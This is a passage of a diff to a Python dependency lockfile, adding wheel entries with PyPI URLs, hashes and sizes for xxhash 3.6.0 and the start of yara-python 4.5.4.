+    { url = "https://files.pythonhosted.org/packages/81/5f/640b6eac0128e215f177df99eadcd0f1b7c42c274ab6a394a05059694c5a/xxhash-3.6.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4b54219177f6c6674d5378bd862c6aedf64725f70dd29c472eaae154df1a2e89", size = 445471, upload-time = "2025-10-02T14:35:03.61Z" },
+    { url = "https://files.pythonhosted.org/packages/5e/1e/3c3d3ef071b051cc3abbe3721ffb8365033a172613c04af2da89d5548a87/xxhash-3.6.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:42c36dd7dbad2f5238950c377fcbf6811b1cdb1c444fab447960030cea60504d", size = 193936, upload-time = "2025-10-02T14:35:05.013Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/bd/4a5f68381939219abfe1c22a9e3a5854a4f6f6f3c4983a87d255f21f2e5d/xxhash-3.6.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f22927652cba98c44639ffdc7aaf35828dccf679b10b31c4ad72a5b530a18eb7", size = 210440, upload-time = "2025-10-02T14:35:06.239Z" },
+    { url = "https://files.pythonhosted.org/packages/eb/37/b80fe3d5cfb9faff01a02121a0f4d565eb7237e9e5fc66e73017e74dcd36/xxhash-3.6.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b45fad44d9c5c119e9c6fbf2e1c656a46dc68e280275007bbfd3d572b21426db", size = 197990, upload-time = "2025-10-02T14:35:07.735Z" },
+    { url = "https://files.pythonhosted.org/packages/d7/fd/2c0a00c97b9e18f72e1f240ad4e8f8a90fd9d408289ba9c7c495ed7dc05c/xxhash-3.6.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:6f2580ffab1a8b68ef2b901cde7e55fa8da5e4be0977c68f78fc80f3c143de42", size = 210689, upload-time = "2025-10-02T14:35:09.438Z" },
+    { url = "https://files.pythonhosted.org/packages/93/86/5dd8076a926b9a95db3206aba20d89a7fc14dd5aac16e5c4de4b56033140/xxhash-3.6.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:40c391dd3cd041ebc3ffe6f2c862f402e306eb571422e0aa918d8070ba31da11", size = 414068, upload-time = "2025-10-02T14:35:11.162Z" },
+    { url = "https://files.pythonhosted.org/packages/af/3c/0bb129170ee8f3650f08e993baee550a09593462a5cddd8e44d0011102b1/xxhash-3.6.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:f205badabde7aafd1a31e8ca2a3e5a763107a71c397c4481d6a804eb5063d8bd", size = 191495, upload-time = "2025-10-02T14:35:12.971Z" },
+    { url = "https://files.pythonhosted.org/packages/e9/3a/6797e0114c21d1725e2577508e24006fd7ff1d8c0c502d3b52e45c1771d8/xxhash-3.6.0-cp313-cp313-win32.whl", hash = "sha256:2577b276e060b73b73a53042ea5bd5203d3e6347ce0d09f98500f418a9fcf799", size = 30620, upload-time = "2025-10-02T14:35:14.129Z" },
+    { url = "https://files.pythonhosted.org/packages/86/15/9bc32671e9a38b413a76d24722a2bf8784a132c043063a8f5152d390b0f9/xxhash-3.6.0-cp313-cp313-win_amd64.whl", hash = "sha256:757320d45d2fbcce8f30c42a6b2f47862967aea7bf458b9625b4bbe7ee390392", size = 31542, upload-time = "2025-10-02T14:35:15.21Z" },
+    { url = "https://files.pythonhosted.org/packages/39/c5/cc01e4f6188656e56112d6a8e0dfe298a16934b8c47a247236549a3f7695/xxhash-3.6.0-cp313-cp313-win_arm64.whl", hash = "sha256:457b8f85dec5825eed7b69c11ae86834a018b8e3df5e77783c999663da2f96d6", size = 27880, upload-time = "2025-10-02T14:35:16.315Z" },
+    { url = "https://files.pythonhosted.org/packages/f3/30/25e5321c8732759e930c555176d37e24ab84365482d257c3b16362235212/xxhash-3.6.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:a42e633d75cdad6d625434e3468126c73f13f7584545a9cf34e883aa1710e702", size = 32956, upload-time = "2025-10-02T14:35:17.413Z" },
+    { url = "https://files.pythonhosted.org/packages/9f/3c/0573299560d7d9f8ab1838f1efc021a280b5ae5ae2e849034ef3dee18810/xxhash-3.6.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:568a6d743219e717b07b4e03b0a828ce593833e498c3b64752e0f5df6bfe84db", size = 31072, upload-time = "2025-10-02T14:35:18.844Z" },
+    { url = "https://files.pythonhosted.org/packages/7a/1c/52d83a06e417cd9d4137722693424885cc9878249beb3a7c829e74bf7ce9/xxhash-3.6.0-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:bec91b562d8012dae276af8025a55811b875baace6af510412a5e58e3121bc54", size = 196409, upload-time = "2025-10-02T14:35:20.31Z" },
+    { url = "https://files.pythonhosted.org/packages/e3/8e/c6d158d12a79bbd0b878f8355432075fc82759e356ab5a111463422a239b/xxhash-3.6.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78e7f2f4c521c30ad5e786fdd6bae89d47a32672a80195467b5de0480aa97b1f", size = 215736, upload-time = "2025-10-02T14:35:21.616Z" },
+    { url = "https://files.pythonhosted.org/packages/bc/68/c4c80614716345d55071a396cf03d06e34b5f4917a467faf43083c995155/xxhash-3.6.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:3ed0df1b11a79856df5ffcab572cbd6b9627034c1c748c5566fa79df9048a7c5", size = 214833, upload-time = "2025-10-02T14:35:23.32Z" },
+    { url = "https://files.pythonhosted.org/packages/7e/e9/ae27c8ffec8b953efa84c7c4a6c6802c263d587b9fc0d6e7cea64e08c3af/xxhash-3.6.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0e4edbfc7d420925b0dd5e792478ed393d6e75ff8fc219a6546fb446b6a417b1", size = 448348, upload-time = "2025-10-02T14:35:25.111Z" },
+    { url = "https://files.pythonhosted.org/packages/d7/6b/33e21afb1b5b3f46b74b6bd1913639066af218d704cc0941404ca717fc57/xxhash-3.6.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fba27a198363a7ef87f8c0f6b171ec36b674fe9053742c58dd7e3201c1ab30ee", size = 196070, upload-time = "2025-10-02T14:35:26.586Z" },
+    { url = "https://files.pythonhosted.org/packages/96/b6/fcabd337bc5fa624e7203aa0fa7d0c49eed22f72e93229431752bddc83d9/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:794fe9145fe60191c6532fa95063765529770edcdd67b3d537793e8004cabbfd", size = 212907, upload-time = "2025-10-02T14:35:28.087Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/d3/9ee6160e644d660fcf176c5825e61411c7f62648728f69c79ba237250143/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:6105ef7e62b5ac73a837778efc331a591d8442f8ef5c7e102376506cb4ae2729", size = 200839, upload-time = "2025-10-02T14:35:29.857Z" },
+    { url = "https://files.pythonhosted.org/packages/0d/98/e8de5baa5109394baf5118f5e72ab21a86387c4f89b0e77ef3e2f6b0327b/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:f01375c0e55395b814a679b3eea205db7919ac2af213f4a6682e01220e5fe292", size = 213304, upload-time = "2025-10-02T14:35:31.222Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/1d/71056535dec5c3177eeb53e38e3d367dd1d16e024e63b1cee208d572a033/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:d706dca2d24d834a4661619dcacf51a75c16d65985718d6a7d73c1eeeb903ddf", size = 416930, upload-time = "2025-10-02T14:35:32.517Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/6c/5cbde9de2cd967c322e651c65c543700b19e7ae3e0aae8ece3469bf9683d/xxhash-3.6.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5f059d9faeacd49c0215d66f4056e1326c80503f51a1532ca336a385edadd033", size = 193787, upload-time = "2025-10-02T14:35:33.827Z" },
+    { url = "https://files.pythonhosted.org/packages/19/fa/0172e350361d61febcea941b0cc541d6e6c8d65d153e85f850a7b256ff8a/xxhash-3.6.0-cp313-cp313t-win32.whl", hash = "sha256:1244460adc3a9be84731d72b8e80625788e5815b68da3da8b83f78115a40a7ec", size = 30916, upload-time = "2025-10-02T14:35:35.107Z" },
+    { url = "https://files.pythonhosted.org/packages/ad/e6/e8cf858a2b19d6d45820f072eff1bea413910592ff17157cabc5f1227a16/xxhash-3.6.0-cp313-cp313t-win_amd64.whl", hash = "sha256:b1e420ef35c503869c4064f4a2f2b08ad6431ab7b229a05cce39d74268bca6b8", size = 31799, upload-time = "2025-10-02T14:35:36.165Z" },
+    { url = "https://files.pythonhosted.org/packages/56/15/064b197e855bfb7b343210e82490ae672f8bc7cdf3ddb02e92f64304ee8a/xxhash-3.6.0-cp313-cp313t-win_arm64.whl", hash = "sha256:ec44b73a4220623235f67a996c862049f375df3b1052d9899f40a6382c32d746", size = 28044, upload-time = "2025-10-02T14:35:37.195Z" },
+    { url = "https://files.pythonhosted.org/packages/7e/5e/0138bc4484ea9b897864d59fce9be9086030825bc778b76cb5a33a906d37/xxhash-3.6.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:a40a3d35b204b7cc7643cbcf8c9976d818cb47befcfac8bbefec8038ac363f3e", size = 32754, upload-time = "2025-10-02T14:35:38.245Z" },
+    { url = "https://files.pythonhosted.org/packages/18/d7/5dac2eb2ec75fd771957a13e5dda560efb2176d5203f39502a5fc571f899/xxhash-3.6.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:a54844be970d3fc22630b32d515e79a90d0a3ddb2644d8d7402e3c4c8da61405", size = 30846, upload-time = "2025-10-02T14:35:39.6Z" },
+    { url = "https://files.pythonhosted.org/packages/fe/71/8bc5be2bb00deb5682e92e8da955ebe5fa982da13a69da5a40a4c8db12fb/xxhash-3.6.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:016e9190af8f0a4e3741343777710e3d5717427f175adfdc3e72508f59e2a7f3", size = 194343, upload-time = "2025-10-02T14:35:40.69Z" },
+    { url = "https://files.pythonhosted.org/packages/e7/3b/52badfb2aecec2c377ddf1ae75f55db3ba2d321c5e164f14461c90837ef3/xxhash-3.6.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4f6f72232f849eb9d0141e2ebe2677ece15adfd0fa599bc058aad83c714bb2c6", size = 213074, upload-time = "2025-10-02T14:35:42.29Z" },
+    { url = "https://files.pythonhosted.org/packages/a2/2b/ae46b4e9b92e537fa30d03dbc19cdae57ed407e9c26d163895e968e3de85/xxhash-3.6.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:63275a8aba7865e44b1813d2177e0f5ea7eadad3dd063a21f7cf9afdc7054063", size = 212388, upload-time = "2025-10-02T14:35:43.929Z" },
+    { url = "https://files.pythonhosted.org/packages/f5/80/49f88d3afc724b4ac7fbd664c8452d6db51b49915be48c6982659e0e7942/xxhash-3.6.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3cd01fa2aa00d8b017c97eb46b9a794fbdca53fc14f845f5a328c71254b0abb7", size = 445614, upload-time = "2025-10-02T14:35:45.216Z" },
+    { url = "https://files.pythonhosted.org/packages/ed/ba/603ce3961e339413543d8cd44f21f2c80e2a7c5cfe692a7b1f2cccf58f3c/xxhash-3.6.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0226aa89035b62b6a86d3c68df4d7c1f47a342b8683da2b60cedcddb46c4d95b", size = 194024, upload-time = "2025-10-02T14:35:46.959Z" },
+    { url = "https://files.pythonhosted.org/packages/78/d1/8e225ff7113bf81545cfdcd79eef124a7b7064a0bba53605ff39590b95c2/xxhash-3.6.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c6e193e9f56e4ca4923c61238cdaced324f0feac782544eb4c6d55ad5cc99ddd", size = 210541, upload-time = "2025-10-02T14:35:48.301Z" },
+    { url = "https://files.pythonhosted.org/packages/6f/58/0f89d149f0bad89def1a8dd38feb50ccdeb643d9797ec84707091d4cb494/xxhash-3.6.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:9176dcaddf4ca963d4deb93866d739a343c01c969231dbe21680e13a5d1a5bf0", size = 198305, upload-time = "2025-10-02T14:35:49.584Z" },
+    { url = "https://files.pythonhosted.org/packages/11/38/5eab81580703c4df93feb5f32ff8fa7fe1e2c51c1f183ee4e48d4bb9d3d7/xxhash-3.6.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:c1ce4009c97a752e682b897aa99aef84191077a9433eb237774689f14f8ec152", size = 210848, upload-time = "2025-10-02T14:35:50.877Z" },
+    { url = "https://files.pythonhosted.org/packages/5e/6b/953dc4b05c3ce678abca756416e4c130d2382f877a9c30a20d08ee6a77c0/xxhash-3.6.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:8cb2f4f679b01513b7adbb9b1b2f0f9cdc31b70007eaf9d59d0878809f385b11", size = 414142, upload-time = "2025-10-02T14:35:52.15Z" },
+    { url = "https://files.pythonhosted.org/packages/08/a9/238ec0d4e81a10eb5026d4a6972677cbc898ba6c8b9dbaec12ae001b1b35/xxhash-3.6.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:653a91d7c2ab54a92c19ccf43508b6a555440b9be1bc8be553376778be7f20b5", size = 191547, upload-time = "2025-10-02T14:35:53.547Z" },
+    { url = "https://files.pythonhosted.org/packages/f1/ee/3cf8589e06c2164ac77c3bf0aa127012801128f1feebf2a079272da5737c/xxhash-3.6.0-cp314-cp314-win32.whl", hash = "sha256:a756fe893389483ee8c394d06b5ab765d96e68fbbfe6fde7aa17e11f5720559f", size = 31214, upload-time = "2025-10-02T14:35:54.746Z" },
+    { url = "https://files.pythonhosted.org/packages/02/5d/a19552fbc6ad4cb54ff953c3908bbc095f4a921bc569433d791f755186f1/xxhash-3.6.0-cp314-cp314-win_amd64.whl", hash = "sha256:39be8e4e142550ef69629c9cd71b88c90e9a5db703fecbcf265546d9536ca4ad", size = 32290, upload-time = "2025-10-02T14:35:55.791Z" },
+    { url = "https://files.pythonhosted.org/packages/b1/11/dafa0643bc30442c887b55baf8e73353a344ee89c1901b5a5c54a6c17d39/xxhash-3.6.0-cp314-cp314-win_arm64.whl", hash = "sha256:25915e6000338999236f1eb68a02a32c3275ac338628a7eaa5a269c401995679", size = 28795, upload-time = "2025-10-02T14:35:57.162Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/db/0e99732ed7f64182aef4a6fb145e1a295558deec2a746265dcdec12d191e/xxhash-3.6.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:c5294f596a9017ca5a3e3f8884c00b91ab2ad2933cf288f4923c3fd4346cf3d4", size = 32955, upload-time = "2025-10-02T14:35:58.267Z" },
+    { url = "https://files.pythonhosted.org/packages/55/f4/2a7c3c68e564a099becfa44bb3d398810cc0ff6749b0d3cb8ccb93f23c14/xxhash-3.6.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1cf9dcc4ab9cff01dfbba78544297a3a01dafd60f3bde4e2bfd016cf7e4ddc67", size = 31072, upload-time = "2025-10-02T14:35:59.382Z" },
+    { url = "https://files.pythonhosted.org/packages/c6/d9/72a29cddc7250e8a5819dad5d466facb5dc4c802ce120645630149127e73/xxhash-3.6.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:01262da8798422d0685f7cef03b2bd3f4f46511b02830861df548d7def4402ad", size = 196579, upload-time = "2025-10-02T14:36:00.838Z" },
+    { url = "https://files.pythonhosted.org/packages/63/93/b21590e1e381040e2ca305a884d89e1c345b347404f7780f07f2cdd47ef4/xxhash-3.6.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:51a73fb7cb3a3ead9f7a8b583ffd9b8038e277cdb8cb87cf890e88b3456afa0b", size = 215854, upload-time = "2025-10-02T14:36:02.207Z" },
+    { url = "https://files.pythonhosted.org/packages/ce/b8/edab8a7d4fa14e924b29be877d54155dcbd8b80be85ea00d2be3413a9ed4/xxhash-3.6.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b9c6df83594f7df8f7f708ce5ebeacfc69f72c9fbaaababf6cf4758eaada0c9b", size = 214965, upload-time = "2025-10-02T14:36:03.507Z" },
+    { url = "https://files.pythonhosted.org/packages/27/67/dfa980ac7f0d509d54ea0d5a486d2bb4b80c3f1bb22b66e6a05d3efaf6c0/xxhash-3.6.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:627f0af069b0ea56f312fd5189001c24578868643203bca1abbc2c52d3a6f3ca", size = 448484, upload-time = "2025-10-02T14:36:04.828Z" },
+    { url = "https://files.pythonhosted.org/packages/8c/63/8ffc2cc97e811c0ca5d00ab36604b3ea6f4254f20b7bc658ca825ce6c954/xxhash-3.6.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:aa912c62f842dfd013c5f21a642c9c10cd9f4c4e943e0af83618b4a404d9091a", size = 196162, upload-time = "2025-10-02T14:36:06.182Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/77/07f0e7a3edd11a6097e990f6e5b815b6592459cb16dae990d967693e6ea9/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:b465afd7909db30168ab62afe40b2fcf79eedc0b89a6c0ab3123515dc0df8b99", size = 213007, upload-time = "2025-10-02T14:36:07.733Z" },
+    { url = "https://files.pythonhosted.org/packages/ae/d8/bc5fa0d152837117eb0bef6f83f956c509332ce133c91c63ce07ee7c4873/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:a881851cf38b0a70e7c4d3ce81fc7afd86fbc2a024f4cfb2a97cf49ce04b75d3", size = 200956, upload-time = "2025-10-02T14:36:09.106Z" },
+    { url = "https://files.pythonhosted.org/packages/26/a5/d749334130de9411783873e9b98ecc46688dad5db64ca6e04b02acc8b473/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:9b3222c686a919a0f3253cfc12bb118b8b103506612253b5baeaac10d8027cf6", size = 213401, upload-time = "2025-10-02T14:36:10.585Z" },
+    { url = "https://files.pythonhosted.org/packages/89/72/abed959c956a4bfc72b58c0384bb7940663c678127538634d896b1195c10/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:c5aa639bc113e9286137cec8fadc20e9cd732b2cc385c0b7fa673b84fc1f2a93", size = 417083, upload-time = "2025-10-02T14:36:12.276Z" },
+    { url = "https://files.pythonhosted.org/packages/0c/b3/62fd2b586283b7d7d665fb98e266decadf31f058f1cf6c478741f68af0cb/xxhash-3.6.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5c1343d49ac102799905e115aee590183c3921d475356cb24b4de29a4bc56518", size = 193913, upload-time = "2025-10-02T14:36:14.025Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/9a/c19c42c5b3f5a4aad748a6d5b4f23df3bed7ee5445accc65a0fb3ff03953/xxhash-3.6.0-cp314-cp314t-win32.whl", hash = "sha256:5851f033c3030dd95c086b4a36a2683c2ff4a799b23af60977188b057e467119", size = 31586, upload-time = "2025-10-02T14:36:15.603Z" },
+    { url = "https://files.pythonhosted.org/packages/03/d6/4cc450345be9924fd5dc8c590ceda1db5b43a0a889587b0ae81a95511360/xxhash-3.6.0-cp314-cp314t-win_amd64.whl", hash = "sha256:0444e7967dac37569052d2409b00a8860c2135cff05502df4da80267d384849f", size = 32526, upload-time = "2025-10-02T14:36:16.708Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/c9/7243eb3f9eaabd1a88a5a5acadf06df2d83b100c62684b7425c6a11bcaa8/xxhash-3.6.0-cp314-cp314t-win_arm64.whl", hash = "sha256:bb79b1e63f6fd84ec778a4b1916dfe0a7c3fdb986c06addd5db3a0d413819d95", size = 28898, upload-time = "2025-10-02T14:36:17.843Z" },
+    { url = "https://files.pythonhosted.org/packages/93/1e/8aec23647a34a249f62e2398c42955acd9b4c6ed5cf08cbea94dc46f78d2/xxhash-3.6.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0f7b7e2ec26c1666ad5fc9dbfa426a6a3367ceaf79db5dd76264659d509d73b0", size = 30662, upload-time = "2025-10-02T14:37:01.743Z" },
+    { url = "https://files.pythonhosted.org/packages/b8/0b/b14510b38ba91caf43006209db846a696ceea6a847a0c9ba0a5b1adc53d6/xxhash-3.6.0-pp311-pypy311_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:5dc1e14d14fa0f5789ec29a7062004b5933964bb9b02aae6622b8f530dc40296", size = 41056, upload-time = "2025-10-02T14:37:02.879Z" },
+    { url = "https://files.pythonhosted.org/packages/50/55/15a7b8a56590e66ccd374bbfa3f9ffc45b810886c8c3b614e3f90bd2367c/xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:881b47fc47e051b37d94d13e7455131054b56749b91b508b0907eb07900d1c13", size = 36251, upload-time = "2025-10-02T14:37:04.44Z" },
+    { url = "https://files.pythonhosted.org/packages/62/b2/5ac99a041a29e58e95f907876b04f7067a0242cb85b5f39e726153981503/xxhash-3.6.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c6dc31591899f5e5666f04cc2e529e69b4072827085c1ef15294d91a004bc1bd", size = 32481, upload-time = "2025-10-02T14:37:05.869Z" },
+    { url = "https://files.pythonhosted.org/packages/7b/d9/8d95e906764a386a3d3b596f3c68bb63687dfca806373509f51ce8eea81f/xxhash-3.6.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:15e0dac10eb9309508bfc41f7f9deaa7755c69e35af835db9cb10751adebc35d", size = 31565, upload-time = "2025-10-02T14:37:06.966Z" },
+]
+
+[[package]]
+name = "yara-python"
+version = "4.5.4"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/51/38/347d1fcde4edabd338d5872ca5759ccfb95ff1cf5207dafded981fd08c4f/yara_python-4.5.4.tar.gz", hash = "sha256:4c682170f3d5cb3a73aa1bd0dc9ab1c0957437b937b7a83ff6d7ffd366415b9c", size = 551142, upload-time = "2025-05-27T14:15:49.035Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/51/7f/5767870ecdde75b7991f67caa5d78d692d30239529b66262a33bb6ab12e3/yara_python-4.5.4-cp310-cp310-macosx_14_0_arm64.whl", hash = "sha256:721d341bd2013fbada4df5aba0eb79a9e4e21c4b86441f7f111ab8c31671f125", size = 2471734, upload-time = "2025-05-27T14:14:03.034Z" },
+    { url = "https://files.pythonhosted.org/packages/13/01/c7253b9cbeb9058deff46e332d98d8a76ecdc07235a41f1a3050348b035e/yara_python-4.5.4-cp310-cp310-macosx_14_0_x86_64.whl", hash = "sha256:c785fd16475f2a3191cd4fae0cd608b1ba6271f495ec86fa26a3c5ac53f5f2e1", size = 208858, upload-time = "2025-05-27T14:14:04.728Z" },
+    { url = "https://files.pythonhosted.org/packages/02/09/cbe63e02a7b2448cd84b78918c1d765ce17038f1e7f0a6ae25e942bdca22/yara_python-4.5.4-cp310-cp310-macosx_15_0_arm64.whl", hash = "sha256:5eefa3b157cd5f4454a317907bab334036f61385324b70cb61dbc656c44168d5", size = 2478392, upload-time = "2025-05-27T14:14:06.404Z" },
+    { url = "https://files.pythonhosted.org/packages/01/02/c5f2953a7dfd3055fd67581fe740c46c7b678d3760faced24674080019c8/yara_python-4.5.4-cp310-cp310-macosx_15_0_x86_64.whl", hash = "sha256:bbc0c5a2ee67e6043e4c2622093ebfc7d2c173dc643dd089742aedbdea48d6a4", size = 209306, upload-time = "2025-05-27T14:14:07.876Z" },
+    { url = "https://files.pythonhosted.org/packages/be/70/a7bd03cbf1ac7e9fcfe292b3dfad181d7fb7eabf6d0ee493f7c5b2386238/yara_python-4.5.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1b091f1bd6c5d2a9b5c0c682ba67ba31b87bb71b27876430775998b71c8e3f97", size = 2240111, upload-time = "2025-05-27T14:14:09.246Z" },
+    { url = "https://files.pythonhosted.org/packages/0a/3d/0b0eadc8b39aa61cc04337d60b15fdebccaf662877a30604baadf760a4f5/yara_python-4.5.4-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:91276c90bb5e148e10050015fec8a1d4009a95eee9eb832d154f80355d0b4080", size = 2323286, upload-time = "2025-05-27T14:14:10.688Z" },
+    { url = "https://files.pythonhosted.org/packages/c4/30/aab92c73b02bdda575f9507108c9617708f8d6812647a0654bc44447fc20/yara_python-4.5.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7e20e1f69b6239fe4f4da97e9ff361d9be25d6f1d747589ea44b8a9ec412a12d", size = 2327981, upload-time = "2025-05-27T14:14:13.044Z" },
+    { url = "https://files.pythonhosted.org/packages/7a/40/461d76a5ec526679e58efca35383d3511cade8c8fc8868ad9f97bea21a1a/yara_python-4.5.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:a83773b561727fc360f7a6874f7fac1409bc9c391134dc3e070f1c2515c0db98", size = 2946194, upload-time = "2025-05-27T14:14:14.717Z" },
+    { url = "https://files.pythonhosted.org/packages/33/d2/656319472612d821d224ef2a79dc5b8339332aa03e4586e5fd9ec0c45f4e/yara_python-4.5.4-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:14f203bd9fb33ad591e046429560133127fa4a6201dac28c525fa7c6c7ca36a7", size = 2416600, upload-time = "2025-05-27T14:14:16.269Z" },
+    { url = "https://files.pythonhosted.org/packages/5e/76/5ec476aa39e81d4dd5e26071f6b2c763c4a7d7f628dff3370fe6053ba9ac/yara_python-4.5.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:e632daf9f38f8d4b433f08f798b07a45756e6c396e9e0ec54aac10045f6d241d", size = 2636555, upload-time = "2025-05-27T14:14:18.082Z" },
+    { url = "https://files.pythonhosted.org/packages/f1/b5/26cdb3d13b91625dc35a68aca2db8cb62d6c6d5e7b83d97981b350163dd3/yara_python-4.5.4-cp310-cp310-win32.whl", hash = "sha256:a3866830f7f2d071f94cbce7c41d91444ac29e2cbbe279914abf518d57a2d41f", size = 1447301, upload-time = "2025-05-27T14:14:19.635Z" },
+    { url = "https://files.pythonhosted.org/packages/be/21/68f211559de12eac0cb0fd8dbda279cadb0cc681cc4dc6394f9e06dfd4e2/yara_python-4.5.4-cp310-cp310-win_amd64.whl", hash = "sha256:135c1097ea0445a323038acd509162675ce6d5e21f848aa856779632d48dec42", size = 1825559, upload-time = "2025-05-27T14:14:21.508Z" },
+    { url = "https://files.pythonhosted.org/packages/17/17/f0bc4a643d8c3afb485c34b70fe1d161f3fe0459361d2eb3561d23cc16e1/yara_python-4.5.4-cp311-cp311-macosx_14_0_arm64.whl", hash = "sha256:e3e2a5575d61adc2b4ff2007737590783a43d16386b061ac12e6e70a82e5d1de", size = 2471737, upload-time = "2025-05-27T14:14:23.876Z" },
+    { url = "https://files.pythonhosted.org/packages/3f/11/39c74fc2732b89d4a5a6ad272b2b60ec84b3aae53b120a9eccc742eec802/yara_python-4.5.4-cp311-cp311-macosx_14_0_x86_64.whl", hash = "sha256:f79a27dbdafb79fc2dc03c7c3ba66751551e3e0b350ab69cc499870b78a6cb95", size = 208862, upload-time = "2025-05-27T14:14:25.941Z" },
+    { url = "https://files.pythonhosted.org/packages/05/ef/ff38abffe3c5126da0b4f31471bc6df2e38f4f532a65941a1a8092cddb4f/yara_python-4.5.4-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:9d9acf6f8135bcee03f47b1096ad69f4a2788abe37dd070aab6e9dd816742ecc", size = 2478391, upload-time = "2025-05-27T14:14:27.802Z" },
+    { url = "https://files.pythonhosted.org/packages/69/97/638f0f6920250dd4cc202f05d2b931c4aeb8ea916ae185cd15b9dacf9ae4/yara_python-4.5.4-cp311-cp311-macosx_15_0_x86_64.whl", hash = "sha256:0e762e6c5b47ddf30b0128ba723da46fcc2aa7959a252748497492cb452d1c84", size = 209304, upload-time = "2025-05-27T14:14:29.663Z" },
+    { url = "https://files.pythonhosted.org/packages/2a/08/e9396374b8d4348f71db28dabbcbde21ceb0e68c604a4de82ab4f1c286e9/yara_python-4.5.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:adcfac4b225e76ab6dcbeaf10101f0de2731fdbee51610dbc77b96e667e85a3a", size = 2242098, upload-time = "2025-05-27T14:14:31.001Z" },
